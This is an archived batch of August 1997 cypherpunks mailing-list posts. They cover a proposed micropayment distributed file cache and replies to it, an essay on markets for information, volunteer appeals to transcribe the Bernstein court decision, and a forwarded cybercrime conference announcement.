Date: Sat, 30 Aug 1997 05:26:37 +0800
To: eternity@internexus.net
Subject: A Distributed Network Cache Service
Message-ID: <19970829211621.6411.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



I've been thinking a bit about the micropayment-based distributed
network file system of the future.

It should be scalable, with the addition of servers being a
simple process.  Anyone should be able to run a server.

Kidnapping a server should disclose nothing about the contents of
files stored there.  Which files are stored on which servers
should be concealed from mere users of the network.

Anyone should be able to use the system by connecting to the
server nearest them.  Deterministic routing between servers
should be used by servers to provide files to other servers.

The system should provide for replication of files on a fixed
number of servers, with "k of n" parts being sufficient for
reconstruction.

Aside from replication done for reliability, there should be only
one copy of a file in the system at any time.  If multiple users
submit the same file, there should be no more copies than if one
user submitted it.

The architecture of the system should be completely independent
of any specific file system organization, and any user should be
able to sync all or any part of his file system with the network
file system, or cache against the network file system on his
local machine.

The system should be completely secure, even from operators of
servers.  The person submitting a file receives a secret
necessary for its reconstruction, and the file may only be
accessed by the owner and those to whom the secret is
communicated.  The war room at the Pentagon and TCMay should be
able to use the same server as an extension of their local file
systems without any security worries.

Let's consider the following service...

Bob has an string of 100,000 octets he wants to make available to
Alice and a few of their closest friends.  Bob makes a secure
connection to a Trusted Agent doing business with the network
file system, and gives the Trusted Agent the string, and a
micropayment of $1/MB or 10 cents.  Working in a secure box, the
Trusted Agent batch compresses and scrambles Bob's string into a
much smaller string of seemingly random bits, and gives Bob two
128 bit values, a TAG, which will identify Bob's data to Bob, and
to anyone else Bob may wish to share his data with, and a
CONTEXT, which will unravel Bob's data back into its original
form.  The Trusted Agent then signs Bob's data, declaring that
the resulting digital coccoon produced from Bob's data is
associated with the TAG, and that the CONTEXT necessary to
recover the data has been communicated to Bob and all copies
destroyed.  The agent gives Bob the TAG and CONTEXT, and sends
the processed data and the TAG to the distributed file system,
and it is stored on one or more of its servers for the next 100
days, after which it expires.

For the next 100 days, Bob and all of his friends may use the 256
bit TAG/CONTEXT pair in place of Bob's data and may serve that
data for free any number of times off any network file system
server.  They simply make a secure connection to any server, and
send the TAG.  The server returns to them the seemingly random
stream of bits, after which a freeware program takes that data
and the CONTEXT, and regenerates the original data.

After 100 days, bob may fork over another 10 cents for another
100 days, or his data will disappear.  The TAG assigned to an
Octet String is unique, and no two strings have the same TAG, and
no string is ever assigned multiple tags, no matter how often it
may be entered and purged from the system.

Now, almost everything you could want from a network wide
distributed file system can be carried on top of this simple
service, which might be considered a system of temporary lodging
for popular Octet Strings.

You rent your Octet String a room, where you and people you
authorize may have unlimited visits for 100 days, and at the end,
your Octet String checks out for parts unknown.

One can do an almost unlimited number of useful things with such
a service which, given a fast network connection, allows you to
store any file in 256 bits for a period of time ranging from 100
days to forever, for a small fee.

Bob could back up his entire file system to the network, sending
each individual file or directory as an Octet String, with hard
links to files replaced with TAG/CONTEXT pairs.  The TAG/CONTEXT
pair for Bob's root directory would then be used to access Bob's
file system off any network server.  If Bob changed some files,
he could resync his FS with the server by only updating a few
Octet Strings.  If Bob synced his FS with the network daily, and
jotted down the TAG/CONTEXT pair for his root directory, Bob
could mount his file system as it appeared at backup time for any
of the last 100 days, with no replication of material on the
servers that contained it.

Bob could write a "compression" program, Bobzip, which would
produce an "archive" where each file only took 256 bits of space,
and which could be "unBobzipped" on any machine connected to the
Network for the next 100 days.  Bob could mail this small
"archive" to his friends.

If browsers understood URLs referencing the distributed file
system, Usenet binaries could be replaced with appropriate
pointers in Usenet articles, ending the endless replication of
binaries on thousands of machines, and reducing Usenet back to a
managable volume of data.

Users could boot their machines off the Network, and instantly
see gigabytes of software available to them.  After syncing their
cache file system with the network, they could drop their PC off
the roof, buy another one, and by typing in just one TAG/CONTEXT
pair, see all their files again.

Cache proxys could be set up which would grab files from the
servers and provide NFS access to them, permitting other hosts to
export NNTP, HTTP, and FTP access to the distributed network data.

I would imagine a typical useful node in such a distributed
system would need about 10 gig of disk, a fast network
connection, and a reasonably fast processor.  Such a node could
hold 100 meg of compressed data for each of the 100 days until
the space was reused.  At full utilization, each node would
generate in excess of $100 a day of revenue at $1/MB.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 29 Aug 1997 17:15:19 +0800
To: Mike <Michael.Johnson@mejl.com>
Subject: Re: ncash? (was Re: pgp details)
In-Reply-To: <3.0.3.32.19970829104801.009a21b0@localhost>
Message-ID: <Pine.LNX.3.93.970829145045.617D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 29 Aug 1997, Mike wrote:

> Why ain't any offshore banks doing ecash?

There is IIRC an australian bank doing ecash.

-- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 30 Aug 1997 03:37:15 +0800
To: cypherpunks@toad.com
Subject: The Information Silk Road
Message-ID: <v03110703b02ccba0b8fd@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 29 Aug 1997 13:18:43 -0400 (EDT)
To: e$@thumper.vmeng.com
Subject: The Information Silk Road
Cc: rah@shipwright.com, "R. Jason Cronk" <rjasonc@pobox.com>
From: Ted Anderson <ota+@transarc.com>
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

-----BEGIN PGP SIGNED MESSAGE-----

Subject: The Information Silk Road

In this note I criticize recursive auction markets as a good model for
the global market in public information.  Instead I suggest an agent
based model where data merchants compete to be suppliers of information
to clients based almost entirely on value they above and beyond the
value of the information itself.  I ignore issues of data ownership and
data privacy.

I realized that e$ is perhaps not the best forum for this message and
welcome redirection to a more appropriate venue.

The Information Silk Road

I would like to draw a distinction between trading in digital services
and trading information.  There are interesting proposals to use
market-based mechanisms to manage computer resources such as memory and
CPU cycles[1] or network bandwidth[2].  Attempts have been made to
extend this idea to trading information, such as the recursive auction
market[3].  While the similarities between computer resources and the
material world are close enough to make market-based ideas quite
successful, I don't think the same is true for markets in information.
Differences stem from the fact that information can be copied with
perfect fidelity and essentially zero cost while both physical
commodities and computing resources are strictly limited in quantity.

- From another point of view, the problem is that the responsibilities of
ownership are different.  Market-based mechanisms work by clearly
identifying an owner for each resource.  The owner (in computational
contexts this is usually a software agent) then tries earn enough income
from its asset to pay expenses.  The job of the owner is then to avoid
overuse (the tragedy of the commons problem) and underuse.  However,
with information, overuse is impossible (maximizing the use of
information is actually beneficial to general good) and only underuse is
a risk.  Underuse of information can even lead to a problem not shared
with other limited commodities, it may be lost altogether.

Practically speaking there is another difference between computer
resource commodities and information products.  For example, any memory
page can be sold to a software agent and numerous agents will compete
for a fixed pool of identical pages.  However, while I can endlessly
replicate a piece of information, each customer won't need more than one
of each datum.  While different agents may occasionally request the same
piece of information, this is often rare.  Partly this is because a even
small cache near the customer will mean that the server only gets a
single request from each cache miss, not from each customer request.
Therefore, an information seller must stock a huge selection of data and
only expect a very tiny fraction of them to be to be in high demand.

Still, I would like to see both the digital silk road (markets for
computer services) and the information silk road (markets for data)
built.  I am particularly interested in the design of the data merchants
that will be the traders on the information silk road.

Recursive Auction Market

A useful contribution of the recursive auction market idea is that it
denigrates to concept of information ownership.  While ownership of
information may still be useful to prevent valuable information from
disappearing altogether (by being replaced in every supplier's inventory
by more profitable data) it has nowhere near the standing of ownership
of finite commodities.

The recursive auction market idea assumes that data in high demand would
propagate from suppliers or intellectual property producers, through
intermediate distributors, to consumers as fast as the network could
carry it.  At each stage the data is auctioned to the highest bidder who
must factor into his bid price the network transfer charges[2] and his
ability to further resell it.  As the data is distributed, the rarity
premium available to early sellers disappears, leaving only the basic
network delivery costs.

These auctions require multiple simultaneous buyers.  However it would
seem that this would be a very unusual case.  Except for a few extreme
cases, the market for data will consist of multiple buyers spread out in
time.  This means that a significant expense of the seller is for the
storage of the data between buyers.  This storage rental must be
factored into the data's price.  This is a hard cost that depends on the
interval between requests of each piece of data.  Rarity, and the
premium it adds to the price, is usually an ephemeral, even
self-defeating, property of data.  This suggests that an auction is not
a good general paradigm to use for trading information.

Data Merchants

A better model of the information silk road has a large population of
data merchants spread throughout the network.  Their mission is to
maintain an inventory of data in anticipation of being able to resell it
profitably at a later time.  Viewed individually these data merchants
provide a data caching service.  While viewed collectively, the
information silk road is a replicated data storage facility[4].

So what services can a data merchant offer which customers might be
willing to pay for.  In other words, how can they add value.

Locality.  Assuming some distance (as the packets fly) sensitivity to
network transport charges, data will be cheaper from a local supplier
than from a distant one.  This means that a merchant can pay the
transport charges to obtain the distant data once and attract local
buyers by charging less than it would cost them to fetch it from a
remote source.  As long as there are multiple local buyers and the data
storage costs incurred between requests is small compared to the
differential between remote and local network transport charges then the
local vendor can turn a profit.

Authoritativity.  For small data, where the cost of transferring the
data is comparable to the cost of requesting it, it will be useful for a
client to pass its requests to a single merchant and expect a high
probability of obtaining the data.  Without consulting an authoritative
source the client will potentially have to contact many merchants before
finding the data it seeks.  Unless the data is large this cost may dwarf
the actual transfer cost.  Being an authoritative source does not have
to be a global property, but might apply to narrowly defined types of
data: hostname to IP address mappings, perl scripts, or Cypherpunks
messages.  Being authoritative depends upon the data merchant
maintaining a persistent reputation.  Interestingly an authoritative
source doesn't actually have to store any data, it may operate purely as
a locator service.

Speed.  Some data merchants may strive to provide data rapidly but
spending more on rotating media, doing more aggressive prefetch and
caching, and having bigger servers and network connections.  For some
customers and some data, paying a premium for speed could be quite
desirable.

Anonymity.  Guaranteeing privacy for a client's requests could be an
attractive option.  This is an other feature that would depend upon the
merchant maintaining a good reputation.

[1] Mark S. Miller and K. Eric Drexler, "The Agorics Papers",
    http://www.webcom.com/~agorics/agorpapers.html.
[2] Norman Hardy and Eric Dean Tribble, "The Digital Silk Road",
    http://www.webcom.com/~agorics/dsr.html.
[3] http://www.transarc.com/~ota/RecursiveAuctionMarket.txt
[4] eternity data storage service

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Sat, 30 Aug 1997 03:26:28 +0800
To: cypherpunks@toad.com
Subject: Re: Greetings,
Message-ID: <199708291915.MAA18367@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Jack Holt <jholt@intrcom.com>
> To:            <cypherpunks@toad.com>
> Subject:       Greetings,
> Date:          Fri, 29 Aug 1997 12:03:39 -0500
> Reply-to:      Jack Holt <jholt@intrcom.com>

> Hello, I would like some information about offshore banking and opening a
> checking account. Thank you. Jack Holt 1004 Lakewood St. Ozark,Mo. 65721
> U.S.A.
> Phone no. 417-485-7038 email jholt@intrcom.com    I am interested in a
> checking
> account.

We seem to be getting a rash of clue-free queries today. Was the 
cypherpunks address mentioned on some general media article?

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 30 Aug 1997 06:39:30 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: A Distributed Network Cache Service
In-Reply-To: <19970829211621.6411.qmail@zipcon.net>
Message-ID: <Pine.3.89.9708291515.A26386-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 29 Aug 1997, Mike Duvos wrote:
> The Trusted Agent then signs Bob's data, declaring that
> the resulting digital coccoon produced from Bob's data is
> associated with the TAG, and that the CONTEXT necessary to
> recover the data has been communicated to Bob and all copies
> destroyed.

Which is of course where the protocol will fail. Any such system must be
resistant to operator compromise. A clean solution for a distributed data
haven resistant to machine/operators compromise would be to use a design
similar to the Anonymous Mailbox Servers I gave a talk on at HIP'97. 

Unfortunately, our project leader is very busy with his daytime job and it 
probably will be a while before we will see some demo sites up and running.

But it will happen :-)

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stanton McCandlish <mech@eff.org>
Date: Sat, 30 Aug 1997 07:44:07 +0800
To: cypherpunks@toad.com
Subject: VOLUNTEERS NEEDED for keying in Bernstein docs
Message-ID: <199708292324.QAA01922@eff.org>
MIME-Version: 1.0
Content-Type: text/plain



Our copies of the Bernstein case docs are too low-quality to scan, so
we're asking for volunteers to help key them in.  Most of you all can type
fast and could probably spare a few minutes. If you'd like to help with a
page or more please drop me a line and tell me how many pages you'll do,
and I'll assign you some page numbers. We have images of the docs from a
captured fax at
http://www.eff.org/bernstein/Legal/970825_decision.images/
and
http://www.eff.org/bernstein/Legal/970827_stay_motion.images/

Thanks for any help!

--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sat, 30 Aug 1997 08:00:06 +0800
To: gnu@toad.com
Subject: Want to help put Judge Patel's decision on the web?
Message-ID: <199708292351.QAA23568@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



We tried running it through OCR software and the results were
worse than just typing it in.

So we're asking for your help.

Please pick a random page of the document and type it in as ordinary
text.  We'll proofread it and fix up the strange characters and such.
Mail the result to me (gnu@toad.com) and post a one-line note to
cypherpunks that says "Patel decision page XX handled".  If a few get
typed twice, it'll be useful for proofreading anyway.

The document is on the Web at
http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/970825_decision.images
We reworked the original fuzzy images so they're much easier to read
now.  But that's still no substitute for real, searchable, small,
ordinary text.

Please type it like this:

  *  Break the lines in the same place as in the original text.
  *  That funny "S-like" squiggle translates as "Sec." (for section).
  *  That funny "P-like" squiggle translates as "Para." (for paragraph).
  *  Any other stuff you don't understand, do your best, then add "XXX",
     which we'll search for and fix up.

Thanks to everyone who helps!

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 30 Aug 1997 05:27:40 +0800
To: "Peter Trei" <cypherpunks@toad.com
Subject: Re: Greetings,
In-Reply-To: <199708291915.MAA18367@toad.com>
Message-ID: <v0311071ab02cea6552c5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:25 am -0400 on 8/29/97, Peter Trei wrote:


> We seem to be getting a rash of clue-free queries today. Was the
> cypherpunks address mentioned on some general media article?

Yup. Forbes, for one. :-). Well, not the address, but certainly the name
'cypherpunks' which generates great gory hit piles to this list when
entered into any search engine...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 30 Aug 1997 05:25:06 +0800
To: cypherpunks@toad.com
Subject: Website highjacking -- Cybercrime Conf Announcement
Message-ID: <3.0.3.32.19970829171755.00727e70@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



[Apologies for the duplication if the following has already been posted here.]

---------------------------
>Approved-By: lewrose@ARENTFOX.COM
>X-Sender: oceana@popserver.panix.com
>X-Mailer: Windows Eudora Pro Version 3.0 (32)
>Date:         Thu, 28 Aug 1997 14:14:25 -0400
>Reply-To: Lawyers and the Internet <NET-LAWYERS@PEACH.EASE.LSOFT.COM>
>Sender: Lawyers and the Internet <NET-LAWYERS@PEACH.EASE.LSOFT.COM>
>From: "Oceana Publications, Inc." <oceana@PANIX.COM>
>Subject:      [NET-LAWYERS] Website highjacking -- Cybercrime Conf
Announcement
>To: NET-LAWYERS@PEACH.EASE.LSOFT.COM
>
>PRESS RELEASE
>
>AUGUST 18, 1997
>
>(Dobbs Ferry, NY) Oceana Publications, Inc. in cooperation with the
>University of Florida Centre for International Financial Crimes Studies;
>Kroll Associates, Warroom Research LLC; and the National Computer Security
>Association announce two international conferences on CYBERCRIME,
>ELECTRONIC COMMERCE, CORPORATE, BANK & COMPUTER SECURITY, FINANCIAL CRIMES
>AND INFORMATION WARFARE to be held at the Washington, D.C. Omni Shoreham
>Hotel on October 29, 30, 31, 1997 and the New York City Hilton on November
>17, 18, 1997.
>
>Discussions by Commissioners from The President's Commission on Critical
>Infrastructure Protection (PCCIP) and Leaders of the Manhattan Cyber
>Project and WarRoom Research will high-light the upcoming Conferences,
>CYBERCRIME, ELECTRONIC COMMERCE, CORPORATE, BANK & COMPUTER SECURITY,
>FINANCIAL CRIMES AND INFORMATION WARFARE, to be held at the Washington,
>D.C. Omni Shoreham Hotel on October 29, 30, 31, 1997 and the New York City
>Hilton on November 17, 18, 1997.
>
>General Robert T. Marsh, U.S. Air Force (Ret.), Chairman of The President's
>Commission on Critical Infrastructure Protection will lead the discussion
>of the Commission's work and recommendations.  Commissioners Brent Greene
>(the DOD Representative), Steve Mitchell (the DOJ Representative) and Dr.
>Mary Culnan, Professor of Business Administration of Georgetown University
>will be panelists with Gen. Marsh.
>
>Over fifty faculty members, including Mr. Alan E. Brill, Managing Partner
>of Kroll Associates, the world's foremost computer crime investigator, Mr.
>Donn Parker, Senior Management Systems Consultant, SRI Consulting, Dr.
>Eugene Spafford, Professor of the Computer Science, Purdue University, Dr.
>Dorothy Denning, Professor of Computer Science, Georgetown University, Mr.
>Winn Schwartau of Security Experts, Inc. And Peter S. Tippett, President of
>the National Computer Security Association will speak and lead panel
>discussions.  Dr. Barry Rider, Director of the Institute of Advanced Legal
>Studies, University of London and a Fellow in Law at Jesus College,
>Cambridge University will address the connections between the Global Mafias
>and Cybercrime.  Dr. Rider is recognized as the world's authority on money
>laundering, organized crime, banking law and economic crime.  Professor
>Fletcher N. Baldwin, Jr. of the UF College of Law will address electronic
>privacy.
>
>The Conferences are sponsored by Oceana Publications, Inc. of Dobbs Ferry,
>NY, The Centre for International Financial Crimes Studies of the College of
>Law of the University of Florida, Kroll Associates, Inc., WarRoom Research
>LLC and the National Computer Security Association (NCSA).
>
>For further information concerning program content, contact Dr. Robert J.
>Munro, Conference Program Coordinator and Co-Director of the Centre for
>International Financial Crimes Studies, College of Law, University of
>Florida, Gainesville, FL 32611, tel:  352-392-0417, fax:  352-392- 8727,
>e-mail:  munro@law.ufl.edu.
>
>For information on registration, group discounts, exhibitors and vendors
>and media, contact Mr. John Downey, Vice President and Director,
>International Seminars Division, Oceana Publications, Inc., 75 Main Street,
>Dobbs Ferry, NY 10522 USA, tel:  914-693-8100 or 1-800-831-0758, fax:
>914-693-0402, e-mail:  oceana@panix.com.
>
>
>
>
>
>
>
>
>Annual International Conference on
>CYBERCRIME, ELECTRONIC COMMERCE, CORPORATE, BANK & COMPUTER SECURITY,
>FINANCIAL CRIMES and INFORMATION WARFARE
>
>   Sponsored by Oceana Publications, Inc.
>   in cooperation with
>   The Centre for International Financial Crimes Studies, College of Law,
>University of Florida;
>   Kroll Associates, Inc.;
>   WarRoom Research LLC;
>   and the National Computer Security Association (NCSA)
>
>To be held in two locations:
>
>  October 30-31, 1997
>  Omni-Shoreham Hotel
>  Washington, DC
>
>  November 17-18, 1997
>  New York Hilton and Towers
>  New York, NY
>
>For more information contact Oceana's International Seminars Division
>Telephone: 800/831-0758 or 914/693-8100
>Fax: 914/693-0402
>E-mail: oceana@panix.com
>WEB: http://www.oceanalaw.com (go to seminars subpage)
>
>DAY 1 (Washington. DC & New York, NY):
>
>Potholes on the Information Superhighway and Prospects for Crime on the
>World Wide Web
>
>Security in Cyberspace
>- Includes:  Manhattan Cyber Project Update
>
>U.S. Government and Legal Perspectives on Cybercurrency & Cybercrime
>
>Luncheon Address
> - Mr. Mark Gembicki & Mr. Steven Shaker
>     WarRoom Research LLC
>
>The President's Commission on Critical Infrastructure Protection (PCCIP)
> - Threats and Vulnerabilities of Infrastructure
> - Global Infrastructure Implications
> - Commission Recommendations
> - Information Warfare & Assurance
>
>Banking and Information Security
>
>DC ONLY:
>Keynote Addresses
>- Dr. Eugene Spafford, Professor of Computer Science,
>   Purdue University
>- Mr. Donn Parker of SRI Consulting
>
>Information Warfare & National Security:  An Introduction
>
>NY ONLY:
>Plastic Card Fraud, Internet Banking, The Electronic Purse & Smart Cards
>
>Denial of Service Scenarios:  From Meltdown to Survival
>
>DAY 2 (Washington, DC & New York, NY):
>
>Corporate Managers:  Their Vision of Managing Risk Through the 2000s
>
>Solutions to International Corporate Espionage and Intellectual Property
>Crimes
>
>Global Electronic Money
>
>Luncheon Addresses
>- (DC & NY) Mr. Michael Zboray, Gartner Group
>- (DC only) Mr. Winn Schwartau, Security Experts, Inc.
> - (NY only)  Mr. William Boni,  Intelligence & Information Protection
>Services
>
>The  Impact of Technology and Encryption on Domestic & International
>Organized Crime
>
>The Future of Encryption
>
>None of Your Cyber-Business!  Privacy in the Age of the Internet
>
>Information Warfare, the Threat of an Electronic "Pearl Harbor" and Hackers
>as a "National Resource"
>
>DC ONLY:
>Military Intelligence Applications
>
>NY ONLY:
>Security Lessons from the Financial Services Industry
>- Effective Management of Security:
>- Top-Down/Bottom-Up Accountability and Vision
>- The Importance of Having Internal Controls Outside of the Information
System
>- The Value of Having Multiple Overlapping and Mutually Reinforcing
>Security Measures
>
>Ask about:
>*Optional Pre-Conference Institute:  Cybercrime and/or Money Laundering
>Workshops, Oct. 29th, Washington, DC only.
>
>Distinguished Faculty include:
>
>Mr. Robert Ayers, Former Chief of the DOD Intelligence Information System
>Computer Security Program; Former Director of the Department of Defense
>Defense-Wide Information Systems Security Program
>
>Professor Fletcher N. Baldwin, Jr., Conference Chairman, S.T. Dell Research
>Scholar, Professor of  Law & Director of the Centre for International
>Financial Crimes Studies, College of Law, University of Florida,
>Gainesville, FL
>
>Mr. William E. Baugh, Currently, Vice President, Information Technology and
>Systems Section, SAIC; Former Assistant Director, FBI
>
>Major Brad Bigelow, U.S. Air Force, Washington, DC
>
>Mr. William Boni, Manager, Intelligence & Information Protection Services,
>Amgen, Thousand Oaks, CA
>
>Mr. Arnaud de Borchgrave, Director, Center for Strategic and International
>Studies, Washington, DC
>
>Mr. Alan E. Brill, Managing Director, Kroll Associates, New York, NY; Mr.
>Brill is an International Authority on the Information Superhighway and
>Computer Crimes; Manager of Kroll's Global Information Security and
>High-Technology Investigations Group
>
>Mr. Francis Bunting, Chief, Money Laundering Investigative Unit, Citicorp,
>Tampa, FL
>
>Col. Alan D. Campen, U.S. Air Force (Ret.), Midlothian, VA; Adjunct
>Professor, School of Information Warfare and Strategy, National Defense
>University, Ft. McNair, Washington, DC
>
>Mr. Scott Charney, Chief, Computer Crime Division, Department of Justice,
>Washington, DC*
>
>Mr. Jim Christy, USAF, On detail to the Information Protection Task Force,
>Federal Bureau of Investigation, Washington, DC
>
>Mr. Guy L. Copeland, Director, Technology, Computer Sciences Corporation,
>Herndon, VA
>
>Ms. Mary Culnan, Commissioner & Associate Professor, School of Business,
>Georgetown University, Washington, DC
>
>Mr. Kawika Daguio, Electronic Money Specialist, American Bankers
>Association, Washington, DC*
>
>Dr. Dorothy E. Denning, Professor, Computer Science Department, Georgetown
>University, Washington, DC
>
>Mr. Alan Fedeli, Manager, IBM Internet Security Services, Suffern, NY
>
>Mr.  Thomas Firnhaber,  FinCEN, U.S. Treasury
>
>Ms. Susan J. Galli, Vice-President, Office of Legal Affairs, Citibank,
>N.A., New York, NY
>
>Ms. Tatiana Gau, Vice President for Integrity Assurance, America Online,
>Dulles, VA; Former Executive Vice President, Parvus International
>
>Mr. Kenneth M. Geide, Chief, Economic Espionage Unit, Federal Bureau of
>Investigation, Washington, DC
>
>Mr. Mark Gembicki, Executive Vice President, WarRoom Research, LLC,
>Baltimore, MD; led collaborative Information Systems Security Survey with
>the U.S. Senate's Permanent Subcommittee on Investigations and Present
>Project Coordinator of the Manhattan Cyber Project.
>
>Mr. Brent Greene, Commissioner, Department of Defense Representative,
>President's Commission on Critical Information Infrastructure (PCCIP),
>Washington, DC
>
>Mr. Mike Higgins, Assistant Vice President, Science Applications
>International Corporation, Center for Information Protection, McLean, VA;
>Former Chief, Countermeasures, DISA
>
>Mr. Steve Katz, Vice President & Chief Information Security Officer,
>Citibank, New York, NY
>
>Ms. Kathleen Kincaid, Director of I/T Security Programs, IBM, Somers, NY
>
>Mr. Herb Lin, Senior Staff Officer, National Research Council, Washington,
>DC
>
>Mr. Shaun Lonergan, FinCEN, U.S. Treasury, Washington, DC
>
>General Robert T. Marsh, U.S. Air Force (Ret.), Chairman, President's
>Commission on Critical Information Infrastructure (PCCIP), Washington, DC
>
>Mr. John McClurg, FBI Computer Investigations and Critical Infrastructure
>Threat Assessment Center, Washington, DC; Economic Espionage Unit, Federal
>Bureau of Investigation, Washington, DC *
>
>Admiral Michael McConnell, Vice-President, Booze-Allen & Hamilton, McLean,
>VA; Adm., U.S. Navy (Retired); Former Director, National Security Agency
>
>Mr. Bruce McConnell, Co-Chair, Inter-Agency Working Group on Crypto Policy,
>OMB, Washington, DC
>
>Mr. David McMunn, President, McMunn Associates Inc./Borders Unlimited
>Corporation, Vienna,VA
>
>Dr. Robert J. Munro, Conference Co-Chairman and Co-Director of the Centre
>for International Financial Crimes Studies, College of Law, University of
>Florida, Gainesville, FL
>
>Mr. Donn Parker, Senior Management Systems Consultant, Information Security
>Program, SRI Consulting, Menlo Park, CA
>
>Mr. Mark Pollitt, Supervisory Special Agent and Program Manager, Computer
>Analysis Response Team, FBI Laboratory, Washington, DC
>
>Mr. Marcus J. Ranum, CEO, Network Flight Recorder, Inc., Baltimore, MD
>
>Mr. Mark D. Rasch, Director of Information Security Law, Science
>Applications International  Corporation, McLean, VA
>
>Mr. Richard Rees, Supervisory Special Agent, Washington Field Office,
>Computer Crime Squad, Federal Bureau of Investigation, Washington, DC
>
>Dr. Barry A.K. Rider, Director of the Institute of Advanced Legal Studies,
>University of London; Fellow in Law of Jesus College, University of
>Cambridge; Executive Director of CIDOEC and Barrister at Law
>
>Mr. Thomas H. Roche, Deputy General Counsel and Vice President, Federal
>Reserve Bank of New York, NY, NY
>
>Mr. Shalom Rosen, Vice President, Emerging Technologies, Citibank, NY, NY
>
>Mr. Daniel J. Ryan, Corporate Vice President & Division General Manager,
>Science Applications International Corporation, Falls Church, VA
>
>Mr. Charles S. Saphos, Currently Attorney at Law, Fila & Saphos, Columbia,
>MD; formerly General Counsel, National Central Bureau - INTERPOL, U.S.
>Justice Department, Washington, DC
>
>Mr. E. Eugene Schultz, SRI Consulting, Menlo Park, CA
>
>Mr. Dan Schutzer, Vice President and Director of Advanced Technology,
>Citibank, New York, NY
>
>Mr. Winn Schwartau, COO, Security Experts, Inc., Seminole, FL.  Mr.
>Schwartau, a leading expert on information security and electronic privacy,
>is an author of several books including, " Information Warfare: Chaos on
>the Electronic Superhighway."
>
>Mr. James C. Settle, Currently, Settle Services in Technology, LLC,
>Springfield, VA; Former Head, National Computer Crime Squad, Federal Bureau
>of Investigation, Washington, DC
>
>Mr. Steven Shaker, President, WarRoom Research, LLC, Baltimore, MD; noted
>futurist and authority on competitive intelligence and "war room"
>applications
>
>Mr. Jeffrey H. Smith, Attorney at Law, Arnold & Porter, Washington, DC;
>Former General  Counsel of the Central Intelligence Agency
>
>Dr. Eugene Spafford, Professor of Computer Science, Purdue University, West
>Lafayette, IN
>
>Mr. Daniel Stipano, Director of Enforcement and Compliance, Comptroller of
>the Currency, U.S. Treasury, Washington, DC
>
>Mr. Edward M. Stroz, Supervisory Special Agent, Computer Crimes Squad,
>Federal Bureau of Investigation, NY, NY
>
>Professor Betty Taylor, Professor of Law, College of Law, University of
>Florida, Gainesville, FL
>
>Dr. Peter S. Tippett, President, National Computer Security Association,
>Carlisle, PA; Director, Computer Ethics Institute and is a trained
>scientist with both a Ph.D. and M.D.
>
>Mr. Steve Walker, President, Trusted Information Systems, Glenwood, MD
>
>Mr. Ira Winkler, CISSP, Severna Park, MD; Mr. Winkler is the author of
>"Corporate Espionage."
>
>Lt. Gen. C. Norman Wood, U.S. Air Force (Ret.); Former Director of the
>Intelligence Community Staff and now Vice President/General Manager of BDM
>Federal, McLean, VA*
>
>Mr. Michael Zboray, Vice President and Program Director, Gartner Group,
>Stamford, CT*
>
>* Invited
>
>For more information contact Oceana's International Seminars Division
>Telephone: 800/831-0758 or 914/693-8100
>Fax: 914/693-0402
>E-mail: oceana@panix.com


************************************************************************
Lynne L. Harrison, Esq.       |    Destiny:
Poughkeepsie, New York        |    "A tyrant's authority for crime
lharrison@mhv.net             |    and a fool's excuse for failure."
http://www.dueprocess.com     |      - Ambrose Bierce
************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Sat, 30 Aug 1997 08:50:37 +0800
To: cypherpunks@toad.com
